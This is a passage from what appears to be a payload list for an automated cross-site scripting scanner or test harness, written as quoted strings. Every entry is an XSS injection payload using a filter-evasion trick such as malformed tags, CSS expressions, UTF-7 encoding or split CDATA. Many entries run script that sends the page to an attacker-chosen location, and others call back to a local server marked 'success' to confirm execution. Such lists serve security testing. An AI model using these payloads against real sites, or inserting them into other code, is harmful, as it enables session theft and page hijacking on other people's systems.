      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/3b3e30847ec6d7f42edbc72056fb161e\">\n",
      "<BODY BACKGROUND=\"http://localhost:19084/success/81254f98a869fbf2ff86a1f3386c2d89\">\n",
      "<IMG STYLE=\"xss:expr/*XSS*/ession(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<IMG DYNSRC=\"http://localhost:19084/success/414bdb9d4570b78a8c9669b3c6183434\">\n",
      "<IMG SRC='vbscript:http://localhost:19084/success/50733de1c6600af12375c8923bbcab60'>\n",
      "--- \";<script>document.location=document.location.hash.substring(1)</script>;//\n",
      "<FRAMESET><FRAME SRC=\"http://localhost:19084/success/fc167d9dbc54063c90edc1d9041a547e\"></FRAMESET>\n",
      "<TABLE BACKGROUND=javascript:document.location=document.location.hash.substring(1)>\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"http://localhost:19084/success/1f71e584f3f37aaef73a27c54619dee3\")\";eval(a+b+c+d);\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<DIV STYLE=\"background-image: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<STYLE>.XSS{background-image:url(\"http://localhost:19084/success/9b25805433b28c72809b03637d3d7338\");}</STYLE><A CLASS=XSS></A>\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/1ca4ea7a537eceb5c578881fb7603075\">\n",
      "<iframe<?php echo chr(12)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<iframe///////onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<iframe \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<iframe<?php echo chr(11)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<!-- -- --><script>document.location=document.location.hash.substring(1)</script><!-- -- -->\n",
      "<STYLE>li {list-style-image: url(\"<script>document.location=document.location.hash.substring(1)</script></STYLE><UL><LI>XSS\n",
      "<!--[if gte IE 4]><script>document.location=document.location.hash.substring(1)</script><![endif]-->\n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/8fa71f8f576468ca889bd92b93c9dcdb\">\n",
      "<a href=\"about:<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "--- <IMG SRC=\"http://localhost:19084/success/eea4fe2ef9d5efbe84d222f57a063cbd\"\n",
      "<BASE HREF=\"<script>document.location=document.location.hash.substring(1)</script>//\">\n",
      "<video poster=javascript:document.location=document.location.hash.substring(1)//\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:document.location=document.location.hash.substring(1)\">\n",
      "<LAYER SRC=\"javascript:document.location=document.location.hash.substring(1)></LAYER>\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"http://localhost:19084/success/81790531c22047e5e2dcb8334f703962\")}</STYLE>\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/e98e9297e33348bb32a20de746804ee0\">\n",
      "<IMG SRC=&{http://localhost:19084/success/1cd3428a1428b13cc121fb7d39ac9c20};>\n",
      "<IFRAME SRC=\"javascript:document.location=document.location.hash.substring(1) <\n",
      "&{<script>document.location=document.location.hash.substring(1)</script>};\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:document.location=document.location.hash.substring(1)>X\n",
      "<input type=\"image\" dynsrc=\"http://localhost:19084/success/9a53a9b7a02200efcfd29da87a27efec\">\n",
      "&<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:document.location=document.location.hash.substring(1)\">X\n",
      "<DIV STYLE=\"binding: url(javascript:document.location=document.location.hash.substring(1));\">\n",
      "<xml id=\"X\"><a><b><script>document.location=document.location.hash.substring(1)</script>;<b></a></xml>\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:http://localhost:19084/success/bca22e485e4ba87f80c61973373f8d74\">]]</C><X></xml>\n",
      "<video><source onerror=\"javascript:document.location=document.location.hash.substring(1)\">\n",
      "\"><SCRIPT>alert('503c6b47969ad3b5f23c29fe838b6034')</SCRIPT>\n",
      "</TITLE>fbcccbf6f61b6fb0cbff3bdb028a24c5\n",
      "\">8dd4b02fd2e9f43b0916c0ff94a930e0\n",
      "'';!--\"<ee605fed510caba7a83f6361ac1ef771>=&{()}\"\n",
      "\"><img src=\"x:x\" onerror=\"3e1a61862d8faa629c25723cb5324366\">\n",
      "<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=8c31136c11646b857b89dbbaa0d85a9f>\n",
      "<IMG SRC=01637758eb7cc3b6ef24089af547aa4e>\n",
      "'';!--\"<748246c6552c3a8eb3c6be14f1281445>=&{()}\"\n",
      "<IMG SRC=\"09f9aa0eb2dc5f827c9ace664d33f02a\">\n",
      "<IMG SRC=`b12bfa8ae0ab0b103fdd31e306236b41`>\n",
      "<IMG \"\"\">9963e49a02682d5eae45bb10db3f9577\">\n",
      "<IMG SRC=\" &#14;  bd6fcbbf73503985620f9821a1ef7998\">\n",
      "<DIV STYLE=\"behaviour: url(1da04ec3c799819765757961689a25f8);\">\n",
      "<<SCRIPT>c8698eacad406b2d8f94a31ed1105e5c//<</SCRIPT>\n",
      "\";03f8f53cf912a503bf241f005c94464a//\n",
      "<IMG SRC='0e4e5109b459bdecb3d15eb30810b069'\n",
      "<BODY BACKGROUND=\"e3160d82fc413089fa5ced99f421d9db\">\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"8f3293f665789ac84a9adfa18f600fa5\">\n",
      "<BODY ONLOAD=e57accb4556276f47fe62207ef6c0e77>\n",
      "<IMG LOWSRC=\"b18ebd05ba31b55b813bff8801cfd68f\">\n",
      "<IMG DYNSRC=\"a0aa13530aedc381ae9e3bb8b7dcc911\">\n",
      "<BGSOUND SRC=\"a7112e196a0bf9d3040eb491e9e6e2d7\">\n",
      "<BR SIZE=\"&{74f10059dad4037b7f9174fc236bdafa}\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"3e0dc518559c39740aa913ea2fce0ed7\">\n",
      "<IMG SRC='vbscript:b7e141f0160aea8c6adb25b0783d8d05'>\n",
      "<IMG SRC=\"mocha:[e8b0e7e51f3d98a618ca8e2b6691a548]\">\n",
      "<IMG SRC=\"livescript:[4ef31b6bb18916fcf7a66f86dcf704ac]\">\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=eb9ecbf2f409933d1961ded7e6e61012\">\n",
      "<TABLE BACKGROUND=\"71dd6a755a230cada7b6ac7ecbb8895c\">\n",
      "<TABLE BACKGROUND=javascript:95426cde0e00fd3ba9e5d116a6ce6155>\n",
      "<TABLE><TD BACKGROUND=\"b9fc4ae14a5b2dd984417b82cb92ccc4\">\n",
      "<DIV STYLE=\"background-image: url(f9a7abae8ec0477c5efe71dcaad70497);\">\n",
      "<DIV STYLE=\"width: expression(f95e27ac0238125bd52f6c6425435594);\">\n",
      "<IFRAME SRC=\"6b50457bde33f7d4746a52f60d773696\"></IFRAME>\n",
      "<iframe/ /onload=7e0da5cdb6b6fb321c87b9f0ee705a7c></iframe>\n",
      "<iframe/ \"onload=fe45ec48b5567119868bbf763d84c0fd></iframe>\n",
      "<iframe///////onload=c5df5db9ff63081d69a1a30b57f42b3d></iframe>\n",
      "<iframe \"onload=26447f65336a82d165940cc11f52fc1e></iframe>\n",
      "<iframe/ \"onload=ad2a8926818dceb19389711a8727764b></iframe>\n",
      "<iframe<?php echo chr(11)?> onload=fa65ac3477841770ccb5508deac655b0></iframe>\n",
      "<iframe<?php echo chr(12)?> onload=21025957c87dad5e6da035f27a421f86></iframe>\n",
      "<FRAMESET><FRAME SRC=\"9ac5a3cabfe7f9552e63b51cbdd28249\"></FRAMESET>\n",
      "<TABLE BACKGROUND=\"be4fdf6c86a2914df816ced7653a200a\">\n",
      "<TABLE><TD BACKGROUND=\"9bb7e020b5aff86ee1a50ba0c77927b8\">\n",
      "<DIV STYLE=\"background-image: url(&#1;6d8ce96ce95242e4cf457ae7cf7cd133)\">\n",
      "<DIV STYLE=\"width: expression(7eca7c4f520eb2c99f5c15153410f9ab);\">\n",
      "<IMG STYLE=\"xss:expr/*400e1c0f48363143fcee5a39b6b09214*/ession(400e1c0f48363143fcee5a39b6b09214)\">\n",
      "<091147b3ef753aa9777bab1634b03db7 STYLE=\"xss:expression(091147b3ef753aa9777bab1634b03db7)\">\n",
      "<STYLE TYPE=\"text/javascript\">237a71cf8653cc25db1fcca78ff336b3</STYLE>\n",
      "<STYLE>.32e21c57577414e513fc46e57c613bb1{background-image:url(\"32e21c57577414e513fc46e57c613bb1\");}</STYLE><A CLASS=32e21c57577414e513fc46e57c613bb1></A>\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"ef745abcb2c709fb64680bf3a3c1b299\")}</STYLE>\n",
      "<!--[if gte IE 4]>be4b62e7c851b3f13c4183ecaa828b8a<![endif]-->\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=30ca14ff870eacca78edbb9e7f9d9b6c></OBJECT>\n",
      "<BASE HREF=\"fcd992548aa262e6eb16162ba758e638//\">\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"5a3c537ac191a8e49011258a49bc04f8\")\";eval(a+b+c+d);\n",
      "<? echo('<SCR)';echo('IPT>3fa48ff4bcc1ffcc94b4ef2242252bd7</SCRIPT>'); ?>\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;6fa527abe9c13c1f6c04f751326d6d4a&lt;/SCRIPT&gt;\">\n",
      "<SCRIPT SRC=http://127.0.0.1>aae34a82929d927c3679fe47fda9c5ff</SCRIPT>\n",
      "<IMG SRC=\"&14;javascript:6fc66b9f739bd391e802bd5866cb743e\">\n",
      "<IMG SRC=\"jav&#x0D;ascript:d28b87503fc5834d2ff26af9f2b49ae9\">\n",
      "--- <IMG SRC=\" &#14;  9153109f862f040d411784c2d356be53\">\n",
      "--- <IMG SRC=\"aa186f3a9fe6d25d9f3d446410928cf1\"\n",
      "<SCRIPT>a=/d6d7beead1d02d121126d2f2e6d5f53f/alert(a.source)</SCRIPT>\n",
      "--- \";1f2a83fa139838d42dfc1ff7106a3270;//\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=7b95662c6f879f05f616dee368b0e1cb\">\n",
      "<SCRIPT <B>=ac11e6f90d40969c761041ea7f8c72bc\"></SCRIPT>\n",
      "<IFRAME SRC=\"javascript:18dccf244fd7fec32e6a9314e70b9ad1 <\n",
      "<STYLE>li {list-style-image: url(\"2c10d6c4692e9a95d8b649c7cd5fcf25</STYLE><UL><LI>2c10d6c4692e9a95d8b649c7cd5fcf25\n",
      "<LAYER SRC=\"javascript:3df446ef6aa55cb7071670c7bc917f07></LAYER>\n",
      "<SCRIPT>a=/7445e20bdfae1b578e8b67b4ae6975a0/n7445e20bdfae1b578e8b67b4ae6975a0</SCRIPT>\n",
      "<DIV STYLE=\"background-image: url(&#1;javascript:6cf8cd65c5cb998b5e705921570abc67\">\n",
      "<input type=\"image\" dynsrc=\"bf511a679c974c841756cde1ea9df309\">\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-57e7d461f2b96709c8688ccf88e0b7d9+ADw-/SCRIPT+AD4-\n",
      "<a href=\"javascript#dd7c6ba59196e6cb239f282d3145e3a6\">\n",
      "&a67a8e5cf25ae9c4cb25f9d08cf53874\">\n",
      "&{02696ee8c91ed2ed9d64bc38ae3e364c};\n",
      "<IMG SRC=&{a76f33865a18219441de2daf5b457df3};>\n",
      "![CDATA[<!--]]<SCRIPT>976355d652cdd966e6a62dff10fa648c//--></SCRIPT>\n",
      "<DIV STYLE=\"binding: url(javascript:a4f691215b572d1b1251cbf376997344);\">\n",
      "<a href=\"about:8e026268945d60e8626d8702477bced1\">\n",
      "<style><!--</style><SCRIPT>129e09e3d20e694b19df4955f54fac25//--></SCRIPT>\n",
      "<!-- -- -->1a3b9a6f50243f829fb6ade63f032393<!-- -- -->\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:8985bcd87bd7b397cbbd86a7ad0e3fd1\">\n",
      "<div datafld=\"b\" dataformatas=\"html\" datasrc=\"#1853e430674b6a8fb8f757946e9af313\"></div>\n",
      "<xml id=\"X\"><a><b>585d85c243f962e2ca309e91487f461e;<b></a></xml>\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:b489c217a7496efaa5160d18f33d89b7\">X\n",
      "<input onfocus=javascript:2bf76d79e248cb6f02d19505978fc682 autofocus>\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:0439113badb84ed2c346ea0f8714cf93\">]]</C><X></xml>\n",
      "<select onfocus=javascript:7583af9942be96dc88b3cc4df869f25c autofocus>\n",
      "<textarea onfocus=javascript:c0c9a47a105f830a82e71d8583b24be7 autofocus>\n",
      "<keygen onfocus=javascript:4a226843ebbd0115deab3bcca239778f autofocus>\n",
      "<video poster=javascript:bb39623eff1222ecc8d9e104411c417c//\n",
      "<input onblur=javascript:5085f1694a829ecbbb6dd8b7490aab50 autofocus><input autofocus>\n",
      "<body onscroll=04fea959e890ab0c660bd6cfa1ffb3ab><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "X<form id=test onforminput=javascript:bee4049f2db798df9b3d2991ef442c6a><input></form>\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:7fbccdc3cc4975a82308b3c5db601b59>X\n",
      "<video><source onerror=\"javascript:e91b5be9f90aa382c5a5181f74e1a250\">\n",
      "<video onerror=\"javascript:e0c5ea925a2fa136b502961e90834648\"><source>\n",
      "</TITLE><script>document.location=document.location.hash.substring(1)</script>\n",
      "<IMG SRC=`http://localhost:19084/success/b12bfa8ae0ab0b103fdd31e306236b41`>\n",
      "<BODY BACKGROUND=\"http://localhost:19084/success/e3160d82fc413089fa5ced99f421d9db\">\n",
      "\"><img src=\"x:x\" onerror=\"http://localhost:19084/success/3e1a61862d8faa629c25723cb5324366\">\n",
      "\"><script>document.location=document.location.hash.substring(1)</script>\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "<IMG SRC=http://localhost:19084/success/01637758eb7cc3b6ef24089af547aa4e>\n",
      "<iframe \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<LINK REL=\"stylesheet\" HREF=\"http://localhost:19084/success/3e0dc518559c39740aa913ea2fce0ed7\">\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"http://localhost:19084/success/8f3293f665789ac84a9adfa18f600fa5\">\n",
      "<IMG SRC=\"http://localhost:19084/success/09f9aa0eb2dc5f827c9ace664d33f02a\">\n",
      "<IMG \"\"\"><script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"http://localhost:19084/success/ef745abcb2c709fb64680bf3a3c1b299\")}</STYLE>\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<TABLE BACKGROUND=javascript:document.location=document.location.hash.substring(1)>\n",
      "<IMG SRC='http://localhost:19084/success/0e4e5109b459bdecb3d15eb30810b069'\n",
      "<DIV STYLE=\"behaviour: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<DIV STYLE=\"binding: url(javascript:document.location=document.location.hash.substring(1));\">\n",
      "<BGSOUND SRC=\"http://localhost:19084/success/a7112e196a0bf9d3040eb491e9e6e2d7\">\n",
      "<BODY ONLOAD=<script>document.location=document.location.hash.substring(1)</script>>\n",
      "<input type=\"image\" dynsrc=\"http://localhost:19084/success/bf511a679c974c841756cde1ea9df309\">\n",
      "\";<script>document.location=document.location.hash.substring(1)</script>//\n",
      "<iframe///////onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<iframe<?php echo chr(11)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<BR SIZE=\"&{<script>document.location=document.location.hash.substring(1)</script>}\">\n",
      "<IMG LOWSRC=\"http://localhost:19084/success/b18ebd05ba31b55b813bff8801cfd68f\">\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<DIV STYLE=\"background-image: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<IMG DYNSRC=\"http://localhost:19084/success/a0aa13530aedc381ae9e3bb8b7dcc911\">\n",
      "<IMG SRC=\"livescript:[http://localhost:19084/success/4ef31b6bb18916fcf7a66f86dcf704ac]\">\n",
      "<IMG SRC=\"mocha:[http://localhost:19084/success/e8b0e7e51f3d98a618ca8e2b6691a548]\">\n",
      "<IMG SRC='vbscript:http://localhost:19084/success/b7e141f0160aea8c6adb25b0783d8d05'>\n",
      "<iframe<?php echo chr(12)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<BASE HREF=\"<script>document.location=document.location.hash.substring(1)</script>//\">\n",
      "<XSS STYLE=\"xss:expression(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/71dd6a755a230cada7b6ac7ecbb8895c\">\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=<script>document.location=document.location.hash.substring(1)</script>></OBJECT>\n",
      "<IMG SRC=\"&14;javascript:document.location=document.location.hash.substring(1)\">\n",
      "<iframe/ /onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<IMG STYLE=\"xss:expr/*XSS*/ession(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/b9fc4ae14a5b2dd984417b82cb92ccc4\">\n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/be4fdf6c86a2914df816ced7653a200a\">\n",
      "<IFRAME SRC=\"http://localhost:19084/success/6b50457bde33f7d4746a52f60d773696\"></IFRAME>\n",
      "<FRAMESET><FRAME SRC=\"http://localhost:19084/success/9ac5a3cabfe7f9552e63b51cbdd28249\"></FRAMESET>\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/9bb7e020b5aff86ee1a50ba0c77927b8\">\n",
      "<!--[if gte IE 4]><script>document.location=document.location.hash.substring(1)</script><![endif]-->\n",
      "<LAYER SRC=\"javascript:document.location=document.location.hash.substring(1)></LAYER>\n",
      "<IFRAME SRC=\"javascript:document.location=document.location.hash.substring(1) <\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "--- \";<script>document.location=document.location.hash.substring(1)</script>;//\n",
      "<!-- -- --><script>document.location=document.location.hash.substring(1)</script><!-- -- -->\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"http://localhost:19084/success/5a3c537ac191a8e49011258a49bc04f8\")\";eval(a+b+c+d);\n",
      "<STYLE>.XSS{background-image:url(\"http://localhost:19084/success/32e21c57577414e513fc46e57c613bb1\");}</STYLE><A CLASS=XSS></A>\n",
      "--- <IMG SRC=\"http://localhost:19084/success/aa186f3a9fe6d25d9f3d446410928cf1\"\n",
      "<STYLE>li {list-style-image: url(\"<script>document.location=document.location.hash.substring(1)</script></STYLE><UL><LI>XSS\n",
      "&{<script>document.location=document.location.hash.substring(1)</script>};\n",
      "<a href=\"about:<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "&<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:http://localhost:19084/success/0439113badb84ed2c346ea0f8714cf93\">]]</C><X></xml>\n",
      "<xml id=\"X\"><a><b><script>document.location=document.location.hash.substring(1)</script>;<b></a></xml>\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:document.location=document.location.hash.substring(1)>X\n",
      "<video poster=javascript:document.location=document.location.hash.substring(1)//\n",
      "<IMG SRC=&{http://localhost:19084/success/a76f33865a18219441de2daf5b457df3};>\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:document.location=document.location.hash.substring(1)\">\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:document.location=document.location.hash.substring(1)\">X\n",
      "\"><img src=\"x:x\" onerror=\"86688d775dacc40509ef3553791ab9b7\">\n",
      "\">b231bc8e1fdf6368ef63ad9d062c0d0f\n",
      "'';!--\"<f3d40362a1a675dfb55ea18a372da2d3>=&{()}\"\n",
      "</TITLE>b644252d5865355f34d8198d41aab778\n",
      "\"><SCRIPT>alert('39f588beda53debb6d989d7be6fde69e')</SCRIPT>\n",
      "<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=9340cf3960c6a303fc8bd0ff7c7ce855>\n",
      "<IMG SRC=\"d720da3c566620d9c3f184bb1faa847a\">\n",
      "'';!--\"<c5b57d0d9eb099107a0575dabcfd9db2>=&{()}\"\n",
      "<IMG SRC=a63dd0399d9aae5043606c6ea2dad3cb>\n",
      "<IMG SRC=`5de3134af64aa101dc2b3b369d6e84b9`>\n",
      "<IMG \"\"\">7ce688ca2e72dfd37d753747d911dbbc\">\n",
      "<IMG SRC=\" &#14;  8f464bc7adfd9e6d4e3f7b0b9e6d7162\">\n",
      "<DIV STYLE=\"behaviour: url(929e04a7b6838875b53bc60829e3d811);\">\n",
      "<<SCRIPT>6531a2b5bd32aa0287967935aa6964be//<</SCRIPT>\n",
      "\";51c53e5d298437d876c207b1fc33f2c8//\n",
      "<IMG SRC='d0f8ebea06a2f2ca0a77119854ebe689'\n",
      "<BODY BACKGROUND=\"b4499b8ebb12f86512599c40fb388da9\">\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"bd0511c4548c62aeb8a64cd6948beb39\">\n",
      "<BODY ONLOAD=fd9e93bdf0534b281107e5bee6f15894>\n",
      "<IMG DYNSRC=\"5b657d76fa1be91c7c8ab9a7aa28cac9\">\n",
      "<BGSOUND SRC=\"2c209792e7f77e7922c0167730f0baca\">\n",
      "<IMG LOWSRC=\"71b59736d26eb856f506345ad6c70176\">\n",
      "<BR SIZE=\"&{4545a3551f7d6bb38ef478afa0de999e}\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"c2e964c47811b166b5322f6cbd2ff39b\">\n",
      "<IMG SRC='vbscript:e45595d4bc3c76b3789c5128d88370ea'>\n",
      "<IMG SRC=\"mocha:[3be6f3482232041ac4dc9c792dd6c51f]\">\n",
      "<IMG SRC=\"livescript:[fdcfb22348404b6147ba23208019299e]\">\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=a0deddab68ad9ccce9eeea4d8d5603fc\">\n",
      "<TABLE BACKGROUND=\"99b393c5a96bdb35e559ed7633ab87c1\">\n",
      "<TABLE BACKGROUND=javascript:d551794105c1ecc0c949c3819b2f66c0>\n",
      "<TABLE><TD BACKGROUND=\"e29a47093ab4bc3f57a591b89c669b2c\">\n",
      "<DIV STYLE=\"width: expression(3e906e16aabc7e4ab5b1c2b418f574a3);\">\n",
      "<DIV STYLE=\"background-image: url(db3c3db5ab205e1a2a9b333cce1da070);\">\n",
      "<IFRAME SRC=\"f8551b8db20a1281199e6a1b3a89b775\"></IFRAME>\n",
      "<iframe/ /onload=17b23f955ef9203be191cfa5ab7b7644></iframe>\n",
      "<iframe/ \"onload=acae2cd35a1cadb396d14900b450cf6c></iframe>\n",
      "<iframe///////onload=73f37ae93acb76199b8c73b0e1ea97e2></iframe>\n",
      "<iframe \"onload=683377e16b008f6be54c914f387c96b1></iframe>\n",
      "<iframe/ \"onload=0b1b4bec4bb28f2cbd06b2149dbe7d66></iframe>\n",
      "<iframe<?php echo chr(11)?> onload=fd040f11ea5d8b43e6710584cf9da78b></iframe>\n",
      "<iframe<?php echo chr(12)?> onload=11dbec91883ea15fdab1837e645e6b2e></iframe>\n",
      "<FRAMESET><FRAME SRC=\"50328cec964117966527a69722e90bf1\"></FRAMESET>\n",
      "<TABLE BACKGROUND=\"98a3fa80476f1b68bc1f39521d5810ea\">\n",
      "<TABLE><TD BACKGROUND=\"40f5e8d20de80a06f68a20e045e12964\">\n",
      "<DIV STYLE=\"background-image: url(&#1;253b210c5a500c933c7833fca0af0764)\">\n",
      "<DIV STYLE=\"width: expression(253e9cdb686d79a35059749cc407a624);\">\n",
      "<IMG STYLE=\"xss:expr/*8d56295f6a37296b07254f4dfb31f5aa*/ession(8d56295f6a37296b07254f4dfb31f5aa)\">\n",
      "<ecf3c443ed84ad8a70231e8ab73b9e6b STYLE=\"xss:expression(ecf3c443ed84ad8a70231e8ab73b9e6b)\">\n",
      "<STYLE TYPE=\"text/javascript\">1acfba81a9cb4cc613e0d1043736a767</STYLE>\n",
      "<STYLE>.220bad5004ee364669150b8e697ede87{background-image:url(\"220bad5004ee364669150b8e697ede87\");}</STYLE><A CLASS=220bad5004ee364669150b8e697ede87></A>\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"cc5356fdea3913dbacaae0d209fe2fbe\")}</STYLE>\n",
      "<!--[if gte IE 4]>a62880683d09e7e0d4319ba06f5799a0<![endif]-->\n",
      "<BASE HREF=\"956013b2483e5c7a684aadafd3693d0c//\">\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"fce41e930d5e9e95bfc4a89f19e98094\")\";eval(a+b+c+d);\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;4b17db731e6d22b6d8d36659ad6e0048&lt;/SCRIPT&gt;\">\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=547ba0c1ad169eab95740bcde5697f64></OBJECT>\n",
      "<? echo('<SCR)';echo('IPT>77e17919a09eeed0d7ec3b40c3a7489a</SCRIPT>'); ?>\n",
      "<IMG SRC=\"&14;javascript:fe89381b81d750e14d27378e213da022\">\n",
      "<SCRIPT SRC=http://127.0.0.1>0f3710ebc0ac1a09fd2bc8c4d942385f</SCRIPT>\n",
      "--- <IMG SRC=\"e33149e93fe3ee8756689a4e9209fddc\"\n",
      "--- <IMG SRC=\" &#14;  6c0fb208ae63fc900ac76c7ae20ef39d\">\n",
      "<IMG SRC=\"jav&#x0D;ascript:2309d9e7d4dfa1d1a7efca97978d390c\">\n",
      "<SCRIPT>a=/93be67f466fc6fdf983a610b225eb22e/alert(a.source)</SCRIPT>\n",
      "--- \";e8d7ab85f9cda790d804e191b5d4f5d9;//\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=ce8902a446ad177c98eb97f533542da4\">\n",
      "<SCRIPT <B>=2eba9ed0a34f14b560481b40df30f335\"></SCRIPT>\n",
      "<SCRIPT>a=/da04c5b0f6a78bf8199425e1b1530b26/nda04c5b0f6a78bf8199425e1b1530b26</SCRIPT>\n",
      "<LAYER SRC=\"javascript:33a2b4842ac0349d12d7e097b10f5fc8></LAYER>\n",
      "<IFRAME SRC=\"javascript:81adffe0493c654d17561732179209c4 <\n",
      "<STYLE>li {list-style-image: url(\"02974d8446b667e4f92061d5a25d1fdf</STYLE><UL><LI>02974d8446b667e4f92061d5a25d1fdf\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-25640a5d2550ba7457ca8b3a1df9ea02+ADw-/SCRIPT+AD4-\n",
      "<DIV STYLE=\"background-image: url(&#1;javascript:4675cd35618461c0a216924f74b07562\">\n",
      "<a href=\"javascript#ca9ec270434d385a2e2f3913b0269b6b\">\n",
      "<input type=\"image\" dynsrc=\"736a5ab3a6511cfbad95ba97afa0d822\">\n",
      "&e20e33a9bb4dfa88bab35f48da035286\">\n",
      "<DIV STYLE=\"binding: url(javascript:8bdbe005a77a531df54d06bee773bc48);\">\n",
      "<a href=\"about:178fda3e7509fb18f64c08e47c646105\">\n",
      "<IMG SRC=&{3658ab0dbd5a3248e37cc90b2eb0a2f1};>\n",
      "&{68fce3c64cdd3d31c906edf9b127c745};\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:1453c017f084f72437be4f3e67b5a4e4\">\n",
      "<style><!--</style><SCRIPT>429d4849a397c530ed223908afc58f2a//--></SCRIPT>\n",
      "![CDATA[<!--]]<SCRIPT>02b230792d499bd895b8b455f10355b9//--></SCRIPT>\n",
      "<!-- -- -->4d4c884cb922298bad9b8f5c772e13e0<!-- -- -->\n",
      "<xml id=\"X\"><a><b>34453179fd33a93692cb4537c66f62e9;<b></a></xml>\n",
      "<div datafld=\"b\" dataformatas=\"html\" datasrc=\"#b530fb596d4612f07e916c03b66a0c10\"></div>\n",
